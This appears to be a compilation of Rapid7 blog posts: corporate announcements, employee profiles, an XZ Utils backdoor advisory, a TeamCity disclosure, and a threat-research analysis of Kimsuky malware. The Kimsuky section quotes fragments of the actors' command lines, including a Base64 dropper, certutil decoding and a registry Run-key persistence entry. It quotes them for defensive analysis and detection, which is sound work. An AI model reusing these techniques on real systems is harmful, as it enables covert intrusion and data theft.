All posts by Rapid7

Rapid7 Insight Platform Achieves Level 2 TX-Ramp Authorization

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Rapid7 Insight Platform Achieves Level 2 TX-Ramp Authorization

Authored by Damon Cabanillas

Rapid7’s Insight Platform has officially achieved Level 2 Texas Risk and Authorization Management Program (TX-RAMP) authorization. This milestone marks a significant step forward in providing our customers peace-of-mind as well as the best end-to-end cloud security solutions.

According to the official TX-RAMP manual, Level 2 TX-RAMP authorization “is required for cloud computing services that store, process, or transmit confidential data of a state agency and the cloud computing service is determined to be moderate or high impact information resources.”

This authorization also signifies our unwavering commitment to cybersecurity compliance as well as the people, processes, and technology required to safeguard the confidential data of our customers and mitigate an ever-expanding attack surface.

Public-Sector Validation in Texas

Cloud security providers (CSPs) must keep pace with the ever-evolving variety of controls and requirements enacted at the state level, ensuring they continue to comply with statutory requirements for contracting with public-sector organizations (state agencies, higher-education institutions, etc.) in Texas – the world’s eighth largest economy.

As such, the Rapid7 Insight Platform will now be more readily available to customers across the state of Texas, empowering organizations to enhance and simplify security operations while delivering risk context across today’s hybrid environments. Multiple cross-functional teams within Rapid7 helped to drive this alignment to stringent and confidential data-security requirements.

What are We Looking to Achieve?

With this authorization, public-sector customers can leverage Rapid7’s Insight Platform to modernize security operations and visibility across key areas such as:

  • Vulnerability management
  • Detection and response
  • Application security
  • Cloud-native application protection

This approach to security helps cyber-defenders understand contextual risk at scale across the hybrid environment (on-premise, remote workers, cloud). They can also leverage cutting-edge AI to automate detections and the required remediations to mitigate critical vulnerabilities – saving time, money, and reputation. Achieving Level 2 TX-RAMP authorization reflects Rapid7’s continuing commitment to:

  • Aligning to regulatory and compliance standards set forth by governmental entities around the globe
  • Delivering best-in-class solutions that meet and exceed industry standards

Learn more about TX-RAMP and how Rapid7 is poised to lead the charge towards a safer, more secure digital future.

Challenges Drive Career Growth: Meet Rudina Tafhasaj

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Challenges Drive Career Growth: Meet Rudina Tafhasaj

Starting a career for the first time in a new country can be intimidating. For Rudina Tafhasaj, her path to Senior Application Engineer at Rapid7 was paved with both unique challenges, and incredible rewards.

Growing up, Rudina was inspired to get into technology by her older brother. “He loved computers, and he was always opening up our big PC. I was curious, and would sneak around to see what he was doing,” Rudina says. “As I grew more, I saw that advances in technology were helping improve lives in so many ways. I knew it was going to be a big part of the future, and wanted to be involved.”

But technology wasn’t her only passion at a young age.

“Deep down my dream and passion is to be an actress – which is totally different! As I grew more, what I realized was that I actually loved the creativity involved in acting, and having the opportunity to network and work with other people.” While there may not always be cameras rolling, Rudina feels there are often similarities between her love of acting and her role today. “I can be creative in code, I can role play different scenarios, and this career is a way for me to tap into both of my passions. I am able to work on really impactful technology in a way that allows me to be creative while also partnering with all kinds of different people and teams along the way.”

At the very beginning of her career, Rudina faced a unique challenge that included relocating from her home in Albania to a new city in the Czech Republic. “It wasn’t easy moving to Prague. I had a tough time adjusting because I had never traveled, never lived on my own, and never had a professional job – and here I was tackling all three at once!” As the only daughter in a family with three brothers, she notes how she had to advocate for herself with her family in making such a big life change. While working as a Junior Developer, she had to work hard to overcome challenges and make an impact in her work.

“At my first job, as I was navigating all of this change, I got a really critical piece of feedback from my manager. I wasn’t developing my skills as much as he expected to see. I was in danger of losing my job if I didn’t make some dramatic improvements.”

This hard conversation served as a wakeup call for Rudina, and ignited her commitment to invest in learning and strengthening her skills so she could achieve her goals. While the feedback was hard to hear, Rudina notes that her manager continued to be supportive of her growth and wanted to help her succeed. “For 6 months, I woke up, went to work, came home, ate dinner, and then studied until it was time for bed. After doing that on repeat, my manager was able to see a dramatic improvement in the rate in which I was learning and growing. While there was still more to learn, he was impressed with my dedication and I continued to grow in my role.”

Rudina’s hard work paid off, and two years later, she took her career a step further with a position as a Salesforce Developer at Barclays. “I am so grateful to have had a manager that was able to give me the feedback I needed, while also encouraging me to stick with it and offer support along the way.”

Now a Senior Software Engineer at Rapid7, she reflects on her journey with a strong sense of pride and accomplishment. “Whatever challenges I went through in previous employers has made me the best person for Rapid7, and I’m grateful for all of my past experiences.” Overcoming challenges can sometimes feel uncomfortable, but it is often necessary to grow and move our careers forward. “It’s a continuous cycle too, as you grow and get more experience, you continue to set your goals higher and seek out the next challenge. There is always more to learn and more ways to grow in your career, especially in technology.”

Her appetite for continued growth is what ultimately brought her to Rapid7’s newest office in Prague in 2023. “I felt like I was ready for new challenges that would continue to accelerate my growth.” When looking at where to go next, she had three requirements that she was looking for in her next employer.

  1. A clear development plan with support from her manager
  2. A culture rooted in honesty and trust
  3. Competitive and fair compensation for her work. Growing her earning potential alongside the growth of her career as she continued to advance.

“When interviewing for the role at Rapid7, I found evidence of everything on my list, and so much more as well. What really stands out the most is the trust and responsibility given to me by the business analysts or project managers that I partner with. They will share what they are looking to do, and then give me the responsibility and the autonomy to go ahead and find a way to make it happen – even when I’m brand new. It feels good to be given that trust and to be able to work on business critical initiatives where my ideas are respected and valued.”

When asked what advice she would give others looking to take on a new role, she says to note down what your expectations and goals are. “Use the interview time to ask whatever questions you need to help understand if it’s the right move for you, or not.” Rudina says having things defined before the call helps you stay on track and get the most value as you weigh your options. “I had a lot of questions during my interview – but because I was able to get answers, I walked away with a really confident feeling that the role at Rapid7 was going to be just what I was looking for.”

For Rudina, growth and development was essential in her next role. As someone who embraces new challenges, and represents Rapid7’s core values every day through her actions and work, it didn’t take long for her to be offered yet another opportunity. Within her first three months, she was given the chance to serve as a team lead. She looks forward to continuing to make an impact in her work, grow her career, and support others through her participation in the Rapid7 Women Impact Group.

To learn more about career opportunities and what it’s like to work at Rapid7, visit our careers site.

Backdoored XZ Utils (CVE-2024-3094)

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Backdoored XZ Utils (CVE-2024-3094)

On Friday, March 29, after investigating anomalous behavior in his Debian sid environment, developer Andres Freund contacted an open-source security mailing list to share that he had discovered an upstream backdoor in widely used command line tool XZ Utils (liblzma). The backdoor, added by an open-source committer who had been working on the tool for several years, affects XZ Utils versions 5.6.0 and 5.6.1. It has been assigned CVE-2024-3094.

According to Red Hat’s advisory

“The malicious injection present in the xz versions 5.6.0 and 5.6.1 libraries is obfuscated and only included in full in the download package – the Git distribution lacks the M4 macro that triggers the build of the malicious code. The second-stage artifacts are present in the Git repository for the injection during the build time, in case the malicious M4 macro is present.

The resulting malicious build interferes with authentication in sshd via systemd.  SSH is a commonly used protocol for connecting remotely to systems, and sshd is the service that allows access.  Under the right circumstances this interference could potentially enable a malicious actor to break sshd authentication and gain unauthorized access to the entire system remotely.”

Community analysis of the backdoor is ongoing. Fortunately, thanks to Freund’s discovery, the backdoored version of the utility did not affect stable branches of most major Linux distributions and is unlikely to have made it into any production systems. The most at-risk category of users is likely developers, many of whom tend to run bleeding-edge versions of Linux.

Mitigation Guidance

XZ Utils users should downgrade to an older version of the utility immediately (i.e., any version before 5.6.0) and update their installations and packages according to distribution maintainer directions.

Major Linux distributions and package maintainers have published guidance on updating. Below is a list of affected and unaffected distributions — please refer to individual distribution and package advisories for the latest information and remediation guidance.

Affected distributions (as of March 31)


Unstable / sid only — “versions ranging from 5.5.1alpha-0.1 (uploaded on 2024-02-01), up to and including 5.6.1-1.”

Kali Linux

Systems updated between March 26 and March 29, 2024


Tumbleweed and MicroOS rolling releases between March 7 and March 28, 2024

Arch Linux

  • Installation medium 2024.03.01
  • Virtual machine images 20240301.218094 and 20240315.221711
  • Container images created between and including 2024-02-24 and 2024-03-28

Red Hat

Fedora Rawhide and Fedora 40 Linux beta

The following distributions have indicated they are not affected:

Please note that information on affected versions or requirements for exploitability may change as we learn more about the threat.

Rapid7 Customers

Our vulnerability coverage team is currently investigating the breadth of affected distributions and looks to provide InsightVM and Nexpose coverage for supported distributions within the next 48 hours.

Why The External Attack Surface Matters: An analysis into APAC related threat activities

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Why The External Attack Surface Matters: An analysis into APAC related threat activities

Considerable focus within the cybersecurity industry has been placed on the attack surface of organizations, giving rise to external attack surface management (EASM) technologies as a means to monitor said surface. It would appear a reasonable approach, on the premise that a reduction in exposed risk related to the external attack surface reduces the likelihood of compromise and potential disruption from the myriad of ransomware groups targeting specific geographies and sectors.

But things are never quite that simple. The challenge, of course, is that the exposed external risks extend beyond the endpoints being scanned. With access brokers performing the hard yards for ransomware affiliates gathering information, identifying initial entry vectors is more than a simple grab of banners.

Rapid7 Labs’s recent analysis looked at the external access surface of multiple sectors within the APAC region over the last half of 2023, with considerable data available well beyond open RDP and unpatched systems. What is revealing is the scale of data that appears to be aiding the access brokers, such as the exposure of test systems or unmaintained hosts to the internet, or the availability of leaked credentials. Each of these gives the multitude of ransomware actors the opportunity to conduct successful attacks while leveraging the hard work of access brokers.

What is interesting as we consider these regionally-targeted campaigns is that the breadth of threat groups is rather wide, but the group which is most prevalent does vary based on the targeted geography or sector. (Please note that this data predates the possible exit scam reported and therefore does not take it into account.)

The following graphic shows the sectors targeted, and the various threat groups targeting them, within Australia:

Why The External Attack Surface Matters: An analysis into APAC related threat activities

If we compare the most prevalent groups in Japan, however, the landscape does change somewhat:

Why The External Attack Surface Matters: An analysis into APAC related threat activities

All of which does focus the mind on this concept of actionable intelligence. Typically organizations have taken a one-size-fits-all approach to risk prioritization; however, a more nuanced approach could be to consider the threat groups targeting the given sector of an organization as a higher priority.

The need to move into this new world of intelligence led security operations is very clear, and it’s felt on an almost daily basis. Within a year we have witnessed such a fundamental increase in the level of capabilities from threat groups whose previous modus operandi was entrenched in the identification of leaked credentials, yet will now happily burn 0days with impunity.

Our approach within Rapid7 Labs is to provide context wherever possible. We strongly urge readers to leverage resources such as AttackerKB to better understand the context of these CVEs, or the likes of Metasploit to validate whether the reports from their external scan warrant an out-of-cycle security update. These, of course, are just the tip of the iceberg, but our approach remains constant: context is critical, as is agility. We are faced with more noise than ever before, and any measures that can be used to filter this out should be a critical part of security operations.

The Updated APT Playbook: Tales from the Kimsuky threat actor group

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The Updated APT Playbook: Tales from the Kimsuky threat actor group

Co-authors are Christiaan Beek and Raj Samani

Within Rapid7 Labs we continually track and monitor threat groups. This is one of our key areas of focus as we work to ensure that our ability to protect customers remains constant. As part of this process, we routinely identify evolving tactics from threat groups in what is an unceasing game of cat and mouse.

Our team recently ran across some interesting activity that we believe is the work of the Kimsuky threat actor group, also known as Black Banshee or Thallium. Originating from North Korea and active since at least 2012, Kimsuky focuses primarily on intelligence gathering. The group is known to have targeted South Korean government entities, individuals associated with the Korean peninsula’s unification process, and global experts in various fields relevant to the regime’s interests. In recent years, Kimsuky’s activity has also expanded across the APAC region to impact Japan, Vietnam, Thailand, etc.

Through our research, we saw an updated playbook that underscores Kimsuky’s efforts to bypass modern security measures. Their evolution in tactics, techniques, and procedures (TTPs) underscores the dynamic nature of cyber espionage and the continuous arms race between threat actors and defenders.

In this blog we will detail new techniques that we have observed used by this actor group over the recent months. We believe that sharing these evolving techniques gives defenders the latest insights into measures required to protect their assets.

Anatomy of the Attack

Let’s begin by highlighting where we started our analysis of Kimsuky and how the more we investigated, the more we discovered — to the point where we believe we observed a new wave of attacks by this actor.

Following the identification of the target, typically we would anticipate the reconnaissance phase to initiate in an effort to identify methods to allow access into the target. Since Kimsuky’s focus is intelligence gathering, gaining access needs to remain undetected; subsequently, the intrusion is intended to not trigger alerts.

Over the years, we have observed a change in this group’s methods, starting with weaponized Office documents, ISO files, and beginning last year, the abuse of shortcut files (LNK files). By disguising these =LNK files as benign documents or files, attackers trick users into executing them. PowerShell commands, or even full binaries, are hidden in the LNK files — all hidden for the end-user who doesn’t detect this at the surface.

Our latest findings lead us to observations that we believe are Kimsuky using CHM files which are delivered in several ways, as part of an ISO|VHD|ZIP or RAR file. The reason they would use this approach is that such containers have the ability to pass the first line of defense and then the CHM file will be executed.

CHM files, or Compiled HTML Help files, are a proprietary format for online help files developed by Microsoft. They contain a collection of HTML pages and a table of contents, index, and full text search capability. Essentially, CHM files are used to display help documentation in a structured, navigable format. They are compiled using the Microsoft HTML Help Workshop and can include text, images, and hyperlinks, similar to web pages, but are packaged as a single compressed file with a .chm extension.

While originally designed for help documentation, CHM files have also been exploited for malicious purposes, such as distributing malware, because they can execute JavaScript when opened. CHM files are a small archive that can be extracted with unzipping tools to extract the content of the CHM file for analysis.

The first scenario in our analysis can be visualized as follows:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The Nuclear Lure

While tracking activity, we first discovered a CHM file that triggered our attention.

Hash Value
MD5 364d4fdf430477222fe854b3cd5b6d40
SHA1 b5224224fdbabdea53a91a96e9f816c6f9a8708c
SHA256 c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05

Analyzing this file in a controlled environment, we observe that the CHM file contains the following files and structure:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The language of the filenames is Korean. With the help of translation software, here are the file names:

  • North Korea’s nuclear strategy revealed in ‘Legalization of Nuclear Forces’.html
  • Incomplete.html
  • Factors and types of North Korea’s use of nuclear weapons.html
  • North Korean nuclear crisis escalation model and determinants of nuclear use.html
  • Introduction.html
  • Previous research review.html
  • Research background and purpose.html

These HTML files are linked towards the main HTML file ‘home.html’ — we will return later to this file.

Each filetype has its unique characteristics, and from the area of file forensics let’s have a look at the header of the file:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Value Value Comment
0x49545346 ITSF File header ID for CHM files
0x03 3 Version Number
0x1204 0412 Windows Language ID

The value 0412 as a language ID is “Korean – Korea”. This can be translated to mean the Windows operating system that was used to create this CHM file was using the Korean language.

When the CHM file is executed, it will showcase the following:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The page in the right pane is the ‘home.html’ file. This page contains an interesting piece of code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group
The Updated APT Playbook: Tales from the Kimsuky threat actor group

The provided code snippet is an example of using HTML and ActiveX to execute arbitrary commands on a Windows machine, typically for malicious purposes. The value assigned to a ‘Button’ contains a command line with Base64 code in it as another obfuscation technique and is followed by a living-off-the-land technique, thereby creating persistence on the victim’s system to run the content.

Let’s break it up and understand what the actor is doing:

  1. Base64 Encoded VBScript Execution (T1059.003):
  • echo T24gRXJyb3IgUmVzdW1lIE5leHQ…: This part echoes a Base64-encoded string into a file. The string, when decoded, is VBScript code. The VBScript is designed to be executed on the victim’s machine. The decoded Base64 value is:
The Updated APT Playbook: Tales from the Kimsuky threat actor group

2. Saving to a .dat File:

  • >”%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat”: The echoed Base64 string is redirected and saved into a .dat file within the current user’s Links directory. The filename seems randomly generated or obfuscated to avoid easy detection.

3. Decoding the .dat File:

  • start /MIN certutil -decode “%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat” “%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs”: This uses the certutil utility, a legitimate Windows tool, to decode the Base64-encoded .dat file back into a .vbs (VBScript) file. The /MIN flag starts the process minimized to reduce suspicion.

4. Persistence via Registry Modification (T1547.001)

  • :start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d “%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs” /f: This adds a new entry to the Windows Registry under the Run key for the current user (HKCU stands for HKEY_CURRENT_USER). This registry path is used by Windows to determine which programs should run automatically at startup. The command ensures that the decoded VBScript runs every time the user logs in, achieving persistence on the infected system.

But what is downloaded from the URL, decoded and written to that VBS file? The URL of the Command and Control Server is hosting an HTML page that contains VBS code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Analyzing the code, it does several things on the victim’s machine:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The function ‘SyInf()’ collects basic system information using WMI (Windows Management Instrumentation) and constructs a string with all these details. What is gathered:

  • Computer name, owner, manufacturer, model, system type.
  • Operating system details, version, build number, total visible memory.
  • Processor details, including caption and clock speed.

Other functions in the code collect the running processes on the system, recent Word files, and lists directories and files of specific folders. In our case, the actor was interested in the content of the Downloads folder.

After gathering the requested information from the code, it is all encoded in the Base64 format, stored in the file ‘info.txt’ and exfiltrated to the remote server:

ui = “”

Once the information is sent, the C2 responds with the following message:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

This C2 server is still active and while we have seen activity since September 2023, we also observed activity in 2024.

New Campaign Discovered

Pivoting some of the unique strings in the ‘stealer code’ and hunting for more CHM files, we discovered more files — some also going back to H2 2023, but also 2024 hits.

In VirusTotal we discovered the following file:

Hash Value
MD5 71db2ae9c36403cec1fd38864d64f239
SHA1 5c7b2705155023e6e438399d895d30bf924e0547
SHA256 e8000ddfddbe120b5f2fb3677abbad901615d1abd01a0de204fade5d2dd5ad0d
————- ——————-

The file is a VBS script and it contains similar code to what we described earlier on the information gathering script above. Many components are the same, with small differences in what type of data is being gathered.

The biggest difference, which makes sense, is a different C2 server. Below is the full path of when the VBS script ran and concatenated the path:


The modus operandi and reusing of code and tools are showing that the threat actor is actively using and refining/reshaping its techniques and tactics to gather intelligence from victims.

Still More? Yes, Another Approach Discovered

Using the characteristics of the earlier discovered CHM files, we developed internal Yara rules that were hunting, from which we discovered the following CHM file:

Hash Value
MD5 f35b05779e9538cec363ca37ab38e287
SHA1 d4fa57f9c9e35222a8cacddc79055c1d76907fb9
SHA256 da79eea1198a1a10e2ffd50fd949521632d8f252fb1aadb57a45218482b9fd89

In this particular case, multiple .bat files and VBS scripts are present:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

In similar fashion, an HTML file in the directory contains hidden code:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

style=”visibility:hidden;”><param name=”Command” value=”ShortCut”><param name=”Button” value=”Bitmap:shortcut”><param name=”Item1″ value=”,hh,-decompile C:\\Users\\Public\\Libraries ‘+d+’

The background png file shows (translated) the following information:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Once the CHM file is executed, it drops all files in the C:\\Users\\Public\\Libraries\ directory and starts running. It starts with creating a persistence scheduled task with the “\2034923.bat” file:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The VBS script will create a Service and then the other .bat files are executed, each with different functions.

The “9583423.bat” script will gather information from the system and store them in text files:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

In the above code, when information is gathered, the file is called by the ‘1295049.bat’ script, which contains the Powershell code to setup the connection to the C2 server with the right path, Base64 encode the stream, and transfer:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Combining the code from previous .bat file and this code, the path to the C2 is created:


The gathered files containing the information about the system will be Base64 encoded, zipped and sent to the C2. After sending, the files are deleted from the local system.

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The sys.txt file will contain information about the system of the victim such as OS, CPU architecture, etc. Here is a short example of the content:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

The overall flow of this attack can be simplified in this visualization:

The Updated APT Playbook: Tales from the Kimsuky threat actor group

Attack Prevalence

Since this is an active campaign, tracking prevalence is based at the time of this writing. However, Rapid7 Labs telemetry enables us to confirm that we have identified targeted attacks against entities based in South Korea. Moreover, as we apply our approach to determine attribution such as the overlap in code and tactics, we have attributed this campaign with a moderate confidence* to the Kimsuky group.

All IoCs are available freely within our Rapid7 Labs repository here.

Rapid7 Customers

InsightIDR and Managed Detection and Response (MDR) customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity related to these techniques and research:

Persistence – Run Key Added by Reg.exe

Suspicious Process – HH.exe Spawns Child Process

Suspicious Process – CHM File Runs CMD.exe to Run Certutil

Persistence – vbs Script Added to Registry Run Key

*In threat research terms, “moderate confidence” means that we have a significant amount of evidence that the activity we are observing is similar to what we have observed from a specific group or actor in the past; however, there is always a chance someone is mimicking behavior. Hence, we use “moderate” instead of “high” confidence.

Rapid7’s Ciara Cullinan Recognized as Community Trailblazer in Belfast Awards Program

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Rapid7’s Ciara Cullinan Recognized as Community Trailblazer in Belfast Awards Program

At the 2024 Women Who Code She Rocks Awards, Rapid7 Software Engineer II Ciara Cullinan was recognized with their ‘Community Trailblazer’ award.

According to Women Who Code, “This award celebrates the efforts of someone who brings people together and creates genuine connections in our tech community. Whether this is online or in-person, this person demonstrates exceptional commitment to building a thriving and inclusive community.

When it comes to building community, Ciara is a true champion who is consistently looking for ways to establish and grow meaningful connections among her team, across the organization, and in the local tech industry. Whether it’s encouraging engagement in various slack channels with ‘water cooler’ questions and ice breakers, or driving Rapid7’s sponsorship of Women Techmakers, she’s proactively seeking out ways to bring people together while growing her own network in the process.

“I think a lot of times – and especially for women – we focus on perfection in our work. We can be hesitant to share things until we have it 100% figured out ourselves. However, when we are able to build strong personal connections with our colleagues, or even others in the industry, the bravery to put something forward or ask for feedback comes much easier. That connection opens up the door to have honest conversations, share ideas, and provide feedback. This is where we can work together to drive impact and grow our skills, which lead to rewarding career experiences and growth.”

In addition to her role as an engineer, Ciara is an active member of Rapid7 Women. Rapid7 Women is an employee resource group that aims to support, enable, and empower all employees identifying as women to bring their best, true selves to work every day through community, action, and activism. Ciara actively contributes to this mission by helping build global and local initiatives for the group. As mentioned in her nomination submission, “Ciara collaborates with colleagues from around the globe, in different business units and roles to build a Women program that caters to supporting not only Women identifying individuals, but also seeks to educate allies on how to be a culture contributor exhibiting inclusive leadership traits.”

Ciara also highlights the importance of bringing more women into the tech industry, and how organizations like Women Who Code can make a difference. “In my role I am one of two women on the team. As technology continues to evolve and things like Artificial Intelligence become part of our everyday life, it’s important to get more women involved in the field to combat any implicit bias in the things that are being built. Bringing more diverse perspectives into a team can also help drive innovation and help organizations work through challenges more efficiently. Awards and programs like this help showcase what’s possible for the next generation of women, allowing them see and then realize the potential a career in tech could hold for them.”

To learn more about Women Who Code’s Belfast community, visit their website.

To learn more about Rapid7’s culture, and our Rapid Impact Groups, visit our careers page.

7 Rapid Questions with #77 Ray Bourque

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7 Rapid Questions with #77 Ray Bourque

We couldn’t pass up the opportunity to bring Boston Bruins legend Ray Bourque into the herd as we continue to expand our Bruins jersey sponsorship.

Ray is an absolute hero to Bruins fans everywhere. He has cemented his status in the annals of Boston sports history through 21 seasons in the black and gold and completely reinvented the game. He holds NHL records for goals, assists, and more for a defenseman. Ray’s relentless offense and tireless defense helped the Bruins command the attack surface. To top it off, he’s worn numbers 7 and 77, making this partnership feel like kismet.

In the spirit of our shared numeric connection, we’ve asked Ray to answer seven rapid questions about his time on the ice, his work off the ice, and his partnership with Rapid7.

What is your favorite memory of your days on the ice for the Bruins? (Maybe your top 3?)

Playing in Boston for 21 years, it’s hard to narrow it down to just one. There are a few moments from my time playing in Boston that really stand out. One of those being my first game. That was the most surreal feeling, realizing that I had made it to the NHL, which had been a dream of mine for as long as I can remember.

Another night that stands out is the night the Bruin’s surprised Phil Esposito with the retirement of his #7 jersey and we revealed my new number, 77. That was such a special moment.

An evening I will hold on to forever is the closing of The Garden. So many amazing alumni came out onto the ice after the game and took their last skate on The Garden ice. The last player they announced was Normand Leveille, who had suffered a brain aneurysm that ended his career. His dream was to skate one more time. Normand and I had a special relationship, as he did not speak English when coming to Boston. We would be roommates, sit next to each other at dinner, he would order the same meals as me because he couldn’t understand the menu. Being able to take him on his final skate around The Garden ice was one of my favorite moments as a Boston Bruin.

It’s the Bruins Centennial Year. What does 100 years of hockey history in Boston mean to you?

Anyone who has had the opportunity to play for one of the Original 6 teams understands how much of an impact that history and energy has on a team. Making it 100 years is an incredible feat, and having such an incredible city support a team for that long is impressive. It speaks so much to the dedication of the fans, ownership, management, and the culture built around the Boston Bruins. I am grateful for the opportunity to have played for an Original 6 team for 21 years of my career and be a part of such a unique and inspiring culture for so much of my career.

How important is the work the Bruins are doing in the community to engage youth from all backgrounds to grow the sport of hockey?

The NHL as a whole has done a great job at working on inclusivity, and this initiative wouldn’t be possible without the support of each team and their supporters who expand upon these efforts like Rapid7. So many people from so many different backgrounds have flourished in the sport and it is becoming something that is available to everyone. Having new teams and expanding the game has opened hockey to so many new regions. That has allowed kids to grow up with hockey in their community and give them the opportunity to dream of playing in the NHL.

Doors are wide open for anyone that wants to get involved and enjoy the game of hockey, at any level, and I think that is so important because there is so much to learn and take away from the sport at all levels.

It’s probably hard for you to imagine, but just go with us for a minute here: If professional hockey had never worked out, what sort of career would you have liked to have?

I don’t know what I would do, you’re right, it’s hard to imagine. I never thought about doing anything else. At 13 years old, I started separating myself from my teammates. I found another gear in my development that allowed me to advance my skills, and at 15 years old I started playing up, joining a Junior’s team of 16-20 year old’s. That is when it became realistic to me that I could make it to the NHL.

If I wasn’t a professional hockey player, I think I would still be involved in sports in some way. Sports were a huge part of my youth, playing hockey and baseball, and I would want to have the same impact on young athletes that my coaches and trainers had on me. I am not sure where that would have taken me, but it is something I am passionate about and would have enjoyed spending my time on.

As a legend in the sport, you’ve had your pick of organizations to align yourself with. What about Rapid7 speaks to you?

From the beginning of our conversations, Rapid7 has come across with a great energy that stuck out to me. It is clear that this team is pulling in the same direction, and it just feels like a team you want to be on and a part of. Their positive and inclusive culture makes it an environment you are excited to be a part of. On top of that, what they are doing is so important to today’s world and their work can truly make a difference.

What are the most important aspects of the Bourque Family Foundation you would like people to understand? How can they get involved?

Giving back is something that has been a significant part of my family since we moved to Boston when I was 18. The Boston Bruins are an extremely charitable team, and as a young player I quickly became involved in the community through the charitable efforts we did as a team.

Raising our family, my wife and I instilled the same values in our children, and all of us have played our own part in giving back to our community. The Bourque Family Foundation is a way for us to come together and combine our charitable efforts. My family and I are truly passionate about the work we do, from supporting individuals with spinal cord injuries to having an ongoing initiative to support the fight against ALS. We are able to touch so many different parts of our community and so many causes. Being able to bring our grandchildren into this as well is just a very special feeling, and I look forward to seeing the continued impact we can all make together with the amount of passion and love for this work that exists in my family.

We have 3 core events that are a great way to get involved; the 7.7K Road Race, Bourque Golf, and The Captain’s Ball in honor of Pete Frates. On top of that, there are some 3rd party initiatives as well that we are a part of that allow our community to raise funds. If you’re getting involved with any of the Bourque Family Foundation events, we can promise you’ll have fun and we’ll raise good money while doing it.

As the sport of hockey continues to spread further around North America and the world, any advice for those talented youngsters who dream of taking up the sport and making it to the NHL someday?

The most important thing I can say is work hard and have fun. Believe in yourself and in your dream. Being dedicated in terms of your work ethic and preparation will get you far and so will doing so with open eyes and open ears. There is so much value to be learned by everything that is happening around you. Hockey is a great game to be a part of, regardless of where it takes you. You can learn a lot of lessons about teamwork, leadership, work ethic, and everything that comes with being a part of a team. Approaching the game being willing to work hard, learn, and dedication will get you far, no matter where you end up.

And there you have it, NHL great and Boston sports legend Ray Bourque answering seven rapid questions from Rapid7. If you’d like, you can also learn more about how Ray and Rapid7 are working together to support hockey and continue icing out cyber threats everywhere.

Lessons from video game companies: automation unleashes robust monitoring & observability

Post Syndicated from Rapid7 original

Lessons from video game companies: automation unleashes robust monitoring & observability

Video game organizations need robust monitoring and observability solutions to stay one step ahead of cyber adversaries. Chances are, so do we all.

In this blog post, we’ll delve into how monitoring and observability capabilities enable video game organizations to bolster their cybersecurity defenses – and provide a better, more reliable gaming experience. Before we delve into the specific use case, let’s establish a foundation with a few definitions.

Monitoring involves actively tracking and analyzing events within an environment to identify potential security threats around the game and the player. Observability, on the other hand, goes beyond monitoring. It provides a holistic view of the entire system’s behavior, enabling video game organizations to understand and troubleshoot complex issues effectively. Together, robust monitoring and observability create a proactive cybersecurity stance that lets teams stop threats from escalating.

Automated Threat Detection: Automation with AI empowers Video game organizations to automate the detection of threats based on ML-predefined rules and behavioral analytics. This proactive approach ensures that potential security incidents are identified promptly, reducing the dwell time of threats within the network.

Real-time Response: Event-driving harvesting accelerates response with predefined actions in real-time. This includes isolating compromised endpoints, blocking malicious IP addresses, or executing custom response actions tailored to the organization’s security policies. The result is a swift and efficient containment of security incidents.

Adaptive Alerting: In addition to traditional alerting, automation can dynamically adjust alert thresholds and criteria based on historical data. This means that security teams can receive alerts for anomalous activities without being overwhelmed by false positives. This not only saves time and resources but also ensures that critical threats are not missed.

Contextual Enrichment: To enhance observability, Layered Context provides a holistic view of the most critical resources found in all environments; it is an enrichment of security alerts with contextual information. This includes user and asset details, historical behavior, and threat intelligence feeds. The enriched data provides security analysts with a comprehensive understanding of the security incident, enabling more informed and effective decision-making.

Customizable Process Workflows: Process-automated workflow capabilities are highly customisable, allowing video game organizations to create tailored workflows that align with their unique security requirements. This flexibility ensures that automation is not a one-size-fits-all solution but a dynamic tool that adapts to the specific needs of each organization.

In theory, this means you are adding protection and improving preventive measures while getting better at detecting threats that slip past our defenses. In reality, it means the security team has more and more tools for learning, configuring, monitoring and using.

In a digital landscape where cyber threats are becoming more sophisticated and prevalent, video game organizations must leverage advanced solutions that provide robust monitoring and observability. Rapid7, with its powerful automation features, is at the forefront of this cybersecurity evolution. Automating threat detection, incident response, alerting, contextual enrichment, and workflows empowers Video game organizations to enhance their cybersecurity defenses and respond effectively to the ever-changing threat landscape.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Post Syndicated from Rapid7 original


CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

  • CVE-2024-27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).
  • CVE-2024-27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

On March 3, JetBrains released a fixed version of TeamCity without notifying Rapid7 that fixes had been implemented and were generally available. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities without responding to Rapid7 on the disclosure timeline. JetBrains later responded to indicate that CVEs had been published.

These issues were discovered by Stephen Fewer, Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.


